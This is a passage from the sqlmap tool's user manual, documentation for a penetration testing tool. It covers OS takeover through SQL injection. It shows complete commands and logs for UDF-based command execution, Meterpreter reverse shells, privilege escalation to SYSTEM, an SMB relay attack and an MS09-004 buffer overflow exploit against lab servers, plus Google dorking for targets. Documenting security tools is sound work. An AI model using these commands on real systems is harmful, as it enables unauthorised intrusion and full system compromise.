((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=
CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
```

```
AND 4900=4900
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
sys_exec UDF already exists, do you want to overwrite it? [y/N] n
[hh:mm:24] [INFO] checking if sys_eval UDF already exist
[hh:mm:24] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=
CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
AND 4437=4437
[hh:mm:24] [DEBUG] performed 1 queries in 0 seconds
sys_eval UDF already exists, do you want to overwrite it? [y/N] n
[hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested
[hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested
[hh:mm:25] [DEBUG] creating a support table to write commands standard output to
[hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput
[hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
[hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
operating system command execution
[hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ipconfig
do you want to retrieve the command standard output? [Y/n]
[hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig'))
[hh:mm:29] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST
(data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND
7106=7106
[hh:mm:29] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput
command standard output:
---

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : localdomain
   IP Address. . . . . . . . . . . . : 172.16.213.131
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
---Default Gateway . . . . . . . . . : 172.16.213.1

os-shell> exit
[hh:mm:41] [INFO] cleaning up the database management system
[hh:mm:41] [DEBUG] removing support tables
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n] n
do you want to remove sys_eval UDF? [Y/n] n
[hh:mm:54] [INFO] database management system cleanup finished
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system
can only be deleted manually
```

As you can see from this second example, sqlmap firstly check if the two user-defined functions are already created, if so, it asks the user if he wants to recreate them or keep them and save time.

5.10.2 Prompt for an out-of-band shell, Meterpreter or VNC

Options: `--os-pwn`, `--priv-esc`, `--msf-path` and `--tmp-path`

It is possible to establish an **out-of-band stateful TCP connection between the user machine and the database server** underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

- Database **in-memory execution of the Metasploit's shellcode** via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL.
- Upload and execution of a Metasploit's **stand-alone payload stager** via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server.
- Execution of Metasploit's shellcode by performing a **SMB reflection attack** (MS08-068) with a UNC path request from the database server to the user's machine where the Metasploit `smb_relay` server exploit runs.
- Database in-memory execution of the Metasploit's shellcode by exploiting **Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow** (MS09-004) with automatic DEP bypass.

Note that this feature is not supported by sqlmap running on Windows because it relies on Metasploit's `msfcli` which is not available for Windows.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database .

Example on a **MySQL 5.1** target:

```
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mysql/get_int_51.aspx?id=1" \
  --os-pwn -v 1 --msf-path /home/inquis/software/metasploit

[...]
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[hh:mm:09] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:09] [INFO] detecting back-end DBMS version from its banner
[hh:mm:09] [INFO] retrieved: 5.1.30
[hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:18] [INFO] retrieved: C
[hh:mm:19] [INFO] the back-end DBMS operating system is Windows
[hh:mm:19] [INFO] testing if current user is DBA
[hh:mm:19] [INFO] retrieved: 1
[hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:20] [INFO] retrieved: 0
[hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:21] [INFO] retrieved: 0
[hh:mm:21] [INFO] retrieving MySQL base directory absolute path
[hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\
[hh:mm:46] [WARNING] this will only work if the database administrator created manually
```

```
the 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder
[hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 1
[hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [172.16.213.1]
which local port number do you want to use? [47776]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[hh:mm:55] [INFO] creation in progress ..................................... done
[hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[*] Please wait while we load the module tree...
[*] Started reverse handler on 172.16.213.1:47776
[*] Starting the payload handler...
[hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait..
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (172.16.213.1:47776 -> 172.16.213.128:2176)

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > Loading extension priv...success.
meterpreter > Loading extension sniffer...success.
meterpreter > Computer: W2K3DEV
OS      : Windows .NET Server (Build 3790, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



VMware Accelerated AMD PCNet Adapter #2
Hardware MAC: 00:0c:29:86:69:1b
IP Address  : 172.16.213.128
Netmask     : 255.255.255.0
```

```
meterpreter > exit

[hh:mm:52] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_bineval'? [Y/n]
do you want to remove UDF 'sys_exec'? [Y/n]
[hh:mm:54] [INFO] database management system cleanup finished
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related
files in the temporary folder saved on the file system can only be deleted manually
```

By default MySQL on Windows runs as `SYSTEM`, however PostgreSQL runs as a low-privileged user `postgres` on both Windows and Linux. Microsoft SQL Server 2000 by default runs as `SYSTEM`, whereas Microsoft SQL Server 2005 and 2008 run most of the times as `NETWORK SERVICE` and sometimes as `LOCAL SERVICE`.

It is possible to provide sqlmap with the `--priv-esc` option to perform a **database process' user privilege escalation** via Metasploit's `getsystem` command which include, among others, the kitrap0d technique (MS10-015) or via Windows Access Tokens kidnapping by using either Meterpreter's incognito extension or Churrasco (MS09-012) stand-alone executable as per user's choice.

Example on a **Microsoft SQL Server 2005 Service Pack 0** running as `NETWORK SERVICE` on the target:

```
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1" \
  --os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc

[...]
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:47] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:52] [INFO] testing if current user is DBA
[hh:mm:52] [INFO] retrieved: 1
[hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait..
[hh:mm:01] [INFO] xp_cmdshell extended procedure is available
[hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [172.16.213.1]
which local port number do you want to use? [44780]
[hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload
that can be used to escalate privileges, either via 'incognito' extension or via
'getsystem' command
which payload encoding do you want to use?
[1] No Encoder
[2] Alpha2 Alphanumeric Mixedcase Encoder
[3] Alpha2 Alphanumeric Uppercase Encoder
[4] Avoid UTF8/tolower
[5] Call+4 Dword XOR Encoder
[6] Single-byte XOR Countdown Encoder
[7] Variable-length Fnstenv/mov Dword XOR Encoder
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
```

```
[9] Non-Alpha Encoder
[10] Non-Upper Encoder
[11] Polymorphic XOR Additive Feedback Encoder (default)
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
>
[hh:mm:53] [INFO] creation in progress ..... done
[hh:mm:58] [INFO] compression in progress . done
[hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe'
do you want sqlmap to upload Churrasco and call the Metasploit payload stager as its
argument so that it will be started as SYSTEM? [y/N]
[hh:mm:22] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[*] Please wait while we load the module tree...
[*] Started reverse handler on 172.16.213.1:44780
[*] Starting the payload handler...
[hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (172.16.213.1:44780 -> 172.16.213.128:2185)

meterpreter >
[hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which
tries different techniques, including kitrap0d
[hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you
want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not
success to elevate privileges
Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > Loading extension priv...success.
meterpreter > Loading extension sniffer...success.
meterpreter > Computer: W2K3DEV
OS      : Windows .NET Server (Build 3790, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > ...got system (via technique 4).
meterpreter >
Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
W2K3DEV\Administrator
W2K3DEV\IUSR_W2K3STENSP0
W2K3DEV\postgres

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
```

```
Netmask     : 255.0.0.0



VMware Accelerated AMD PCNet Adapter #2
Hardware MAC: 00:0c:29:86:69:1b
IP Address  : 172.16.213.128
Netmask     : 255.255.255.0


meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit

[hh:mm:52] [INFO] cleaning up the database management system
```

5.10.3 One click prompt for an out-of-band shell, meterpreter or VNC

Options: `--os-smbrelay`, `--priv-esc` and `--msf-path`

If the back-end database management system runs on Windows as `Administrator` and the system is not patched against Microsoft Security Bulletin MS08-068 , sqlmap can abuse the universal naming convention (UNC) feature within any database management system to force the database server to initiate a SMB connection with the attacker host, then perform a SMB authentication relay attack in order to establish a high-privileged **out-of-band TCP stateful channel** between the attacker host and the target database server. sqlmap relies on Metasploit 's SMB relay exploit to perform this attack. You need to run sqlmap as a privileged user (e.g. **root**) if you want to perform a SMB relay attack because it will need to listen on a user-specified SMB TCP port for incoming connection attempts.

Note that this feature is not supported by sqlmap running on Windows platform because it relies on Metasploit's `msfpayload` which is not fully working on Windows.

This technique is detailed in the white paper Advanced SQL injection to operating system full control .

Example on a **Microsoft SQL Server 2005 Service Pack 0** running as `Administrator` on the target:

```
$ sudo python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit

[...]
[hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:11] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often
Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not
send the NTLM session hash when connecting to a SMB service
[hh:mm:16] [INFO] which connection type do you want to use?
[1] Bind TCP (default)
[2] Bind TCP (No NX)
[3] Reverse TCP
[4] Reverse TCP (No NX)
> 1
```

```
[hh:mm:16] [INFO] which is the local address? [172.16.213.161] 172.16.213.161
[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
[hh:mm:16] [INFO] which payload do you want to use?
[1] Reflective Meterpreter (default)
[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
[3] Shell
[4] Reflective VNC
[5] PatchUp VNC (only from Metasploit development revision 6742)
> 1
[hh:mm:16] [INFO] which SMB port do you want to use?
[1] 139/TCP (default)
[2] 445/TCP
> 1
[hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait..

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ msf v3.3-dev
+ -- --=[ 392 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 168 aux

resource> use windows/smb/smb_relay
resource> set SRVHOST 172.16.213.161
SRVHOST => 172.16.213.161
resource> set SRVPORT 139
SRVPORT => 139
resource> set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
resource> set LPORT 4907
LPORT => 4907
resource> set RHOST 172.16.213.131
RHOST => 172.16.213.131
resource> exploit
[*] Exploit running as background job.
msf exploit(smb_relay) >
[*] Started bind handler
[*] Server started.
[*] Received 172.16.213.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
Service Pack 2 LM:
[*] Sending Access Denied to 172.16.213.131:3242 \
[*] Received 172.16.213.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
Server 2003 3790 Service Pack 2 LM:
[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
[*] AUTHENTICATED as W2K3DEV\Administrator...
[*] Connecting to the ADMIN$ share...
```

```
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \wELRmcmd.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \wELRmcmd.exe...
[*] Sending Access Denied to 172.16.213.131:3242 W2K3DEV\Administrator
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Received 172.16.213.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
Service Pack 2 LM:
[*] Sending Access Denied to 172.16.213.131:3244 \
[*] Received 172.16.213.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
Server 2003 3790 Service Pack 2 LM:
[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
[*] AUTHENTICATED as W2K3DEV\Administrator...
[*] Ignoring request from 172.16.213.131, attack already in progress.
[*] Sending Access Denied to 172.16.213.131:3244 W2K3DEV\Administrator
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (172.16.213.161:51813 -> 172.16.213.131:4907)

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  172.16.213.161:51813 -> 172.16.213.131:4907

msf exploit(smb_relay) > [*] Starting interaction with 1...

meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit

[*] Meterpreter session 1 closed.
msf exploit(smb_relay) > exit

[*] Server stopped.
```

5.10.4 Database stored procedure heap-based buffer overflow exploit

Options: `--os-bof`, `--priv-esc` and `--msf-path`

If the back-end database management system is Microsoft SQL Server not patched against Microsoft Security Bulletin MS09-004 , sqlmap can exploit the heap-based buffer overflow affecting `sp_replwritetovarbin` stored procedure in order to establish an **out-of-band TCP stateful channel** between the attacker host and the target database server. sqlmap has its own exploit to trigger the vulnerability, but it relies on Metasploit to generate the shellcode used within the exploit.

Note that this feature is not supported by sqlmap running on Windows platform because it relies on Metasploit's `msfcli` which is not available for Windows.

This technique is detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database .

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

```
$ python sqlmap.py -u http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1 \
  --os-bof -v 1 --msf-path ~/software/metasploit

[...]
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:51] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin'
stored procedure heap-based buffer overflow (MS09-004)
[hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack
[hh:mm:56] [INFO] retrieved: 1
[hh:mm:58] [INFO] retrieved: 1
[hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
[hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [172.16.213.1]
which local port number do you want to use? [21380]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
which payload encoding do you want to use?
[1] No Encoder
[2] Alpha2 Alphanumeric Mixedcase Encoder
[3] Alpha2 Alphanumeric Uppercase Encoder
[4] Avoid UTF8/tolower
[5] Call+4 Dword XOR Encoder
[6] Single-byte XOR Countdown Encoder
[7] Variable-length Fnstenv/mov Dword XOR Encoder
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
[9] Non-Alpha Encoder
[10] Non-Upper Encoder
[11] Polymorphic XOR Additive Feedback Encoder (default)
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
>
[hh:mm:16] [INFO] creation in progress .... done
[hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[*] Please wait while we load the module tree...
[*] Started reverse handler on 172.16.213.1:21380
```

```
[*] Starting the payload handler...
[hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait..
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (172.16.213.1:21380 -> 172.16.213.128:12062)

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > Loading extension priv...success.
meterpreter > Loading extension sniffer...success.
meterpreter > Computer: W2K3DEV
OS      : Windows .NET Server (Build 3790, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



VMware Accelerated AMD PCNet Adapter #2
Hardware MAC: 00:0c:29:86:69:1b
IP Address  : 172.16.213.128
Netmask     : 255.255.255.0


meterpreter > exit
```

5.11 Windows registry access

5.11.1 Read a Windows registry key value

Option: `--reg-read`

TODO

5.11.2 Write a Windows registry key value data

Option: `--reg-add`

TODO

5.11.3 Delete a Windows registry key value

Option: `--reg-del`

TODO

5.11.4 Windows registry key

Option: `--reg-key`

TODO

5.11.5 Windows registry key value

Option: `--reg-value`

TODO

5.11.6 Windows registry key value data

Option: `--reg-data`

TODO

5.11.7 Windows registry key value type

Option: `--reg-type`

TODO

5.12 Miscellaneous

5.12.1 Session file: save and resume all data retrieved

Option: `-s`

By default sqlmap logs all queries and their output into a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time.

The default session file is `output/hostname/session`, but you can change its path with the `-s` option.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
  -v 2 -s "sqlmap.log"

[...]
back-end DBMS:  PostgreSQL
[hh:mm:02] [DEBUG] query: VERSION()
[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
[hh:mm:03] [ERROR] user aborted
```

As you can see, I stopped the injection with `CTRL-C` while retrieving the PostgreSQL banner and logged the session to text file `sqlmap.log`.

```
$ cat sqlmap.log

[hh:mm:00 MM/DD/YY]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
```

```
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5
on i486-pc-
```

As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection.

The session file has a structure as follows:

```
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
```

Performing the same request now, sqlmap resumes all information already retrieved then calculates the query length, in the example `VERSION()`, and resumes the injection from the last character retrieved to the end of the query output.

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
  -v 2 -s "sqlmap.log"

[...]
[hh:mm:03] [INFO] resuming injection point 'GET' from session file
[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
[hh:mm:03] [INFO] testing connection to the target url
[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
[hh:mm:03] [INFO] retrieving the length of query output
[hh:mm:03] [DEBUG] query: LENGTH(VERSION())
[hh:mm:03] [INFO] retrieved: 98
[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
[hh:mm:03] [INFO] retrieving pending 70 query output characters
[hh:mm:03] [DEBUG] query: SUBSTR((VERSION())::text, 29, 98)
[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
back-end DBMS: PostgreSQL

[hh:mm:07] [INFO] fetching banner
banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
```

5.12.2 Flush session file for current target

Option: `--flush-session`

As you are already familiar with the concept of a session file from the description of option `-s`, it is good to know that you can flush the content of that same file using option `--flush-session`. This way you can avoid caching mechanisms implemented by default in sqlmap. Other possible way is the manual removing

of session file(s), `sqlmap.log` in the example above, or the default `output/hostname/session` if `-s` is not provided.

5.12.3 Estimated time of arrival

Option: `--eta`

It is possible to calculate and show the estimated time of arrival to retrieve each query output in real time while performing the SQL injection attack.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b \
  --eta -v 2

[...]
back-end DBMS:  Oracle

[hh:mm:24] [INFO] fetching banner
[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
output again
[hh:mm:24] [INFO] retrieved the length of query output: 64
[hh:mm:24] [DEBUG] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
WHERE ROWNUM=1
77% [=======================================>            ] 49/64  ETA 00:00
```

then:

```
100% [================================================] 64/64
[hh:mm:15] [DEBUG] performed 454 queries in 2 seconds
banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
```

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" \
  --users --eta -v 1

[...]
back-end DBMS:  Microsoft SQL Server 2000

[hh:mm:57] [INFO] fetching database users
[hh:mm:57] [INFO] fetching number of database users
[hh:mm:57] [INFO] retrieved: 3
[hh:mm:57] [INFO] retrieved the length of query output: 22
100% [================================================] 22/22
[hh:mm:58] [INFO] retrieved the length of query output: 2
100% [================================================] 2/2
[hh:mm:59] [INFO] retrieved the length of query output: 25
100% [================================================] 25/25
[hh:mm:00] [DEBUG] performed 181 queries in 1 seconds
database management system users [3]:
[*] BUILTIN\Administrators
[*] sa
[*] W2KITINQUIS\Administrator
```

As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved query output characters.

5.12.4 Use Google dork results from specified page number

Option: `--gpage`

Default sqlmap behavior with option `-g` is to do a Google search and use resulting urls from first (100) result page for further sql injection testing. In combination with this option you can specify some other page other than the first one for retrieving target urls.

Example of Google dorking with expression `login ext:php` and resulting page set to 3:

```
$ python sqlmap.py -g "ext:php login" --gpage 3 -v 1

[hh:mm:14] [INFO] first request to Google to get the session cookie
[hh:mm:14] [INFO] using Google result page #3
[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are
testable targets
[hh:mm:15] [INFO] sqlmap got a total of 89 targets
url 1:
GET http://www.XXX.com/index.php?pageid=login
do you want to test this url? [Y/n/q]
> y
[hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login
[hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file
[hh:mm:17] [INFO] testing connection to the target url
[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:19] [INFO] url is stable
[hh:mm:19] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:21] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic
[hh:mm:24] [INFO] confirming that Cookie parameter 'PHPSESSID' is dynamic
[hh:mm:27] [INFO] Cookie parameter 'PHPSESSID' is dynamic
[...]
```

5.12.5 Update sqlmap

Option: `--update`

Using this option you can update the program to the latest version directly from the Subversion repository along with the latest Microsoft SQL Server XML versions file from Chip Andrews' SQLSecurity.com site .

```
$ python sqlmap.py --update

[...]
[hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository
[hh:mm:28] [INFO] updated to the latest revision XXXX
[hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file
[hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update
[...]
```

The Debian and Red Hat installation packages (deb and rpm) as well as the Windows binary package (exe) can not be used to update sqlmap. You need a source package (gzip, bzip2 or zip) to use this feature.

5.12.6 Save options in a configuration INI file

Option: `--save`

It is possible to save the command line options to a configuration INI file.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
  -v 1 --save

[hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf'
configuration file
[hh:mm:33] [INFO] testing connection to the target url
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
[...]
```

As you can see, sqlmap saved the command line options to a configuration INI file, `sqlmap-SAUbs.conf`.

```
$ cat sqlmap-SAUbs.conf
[Target]
url = http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1
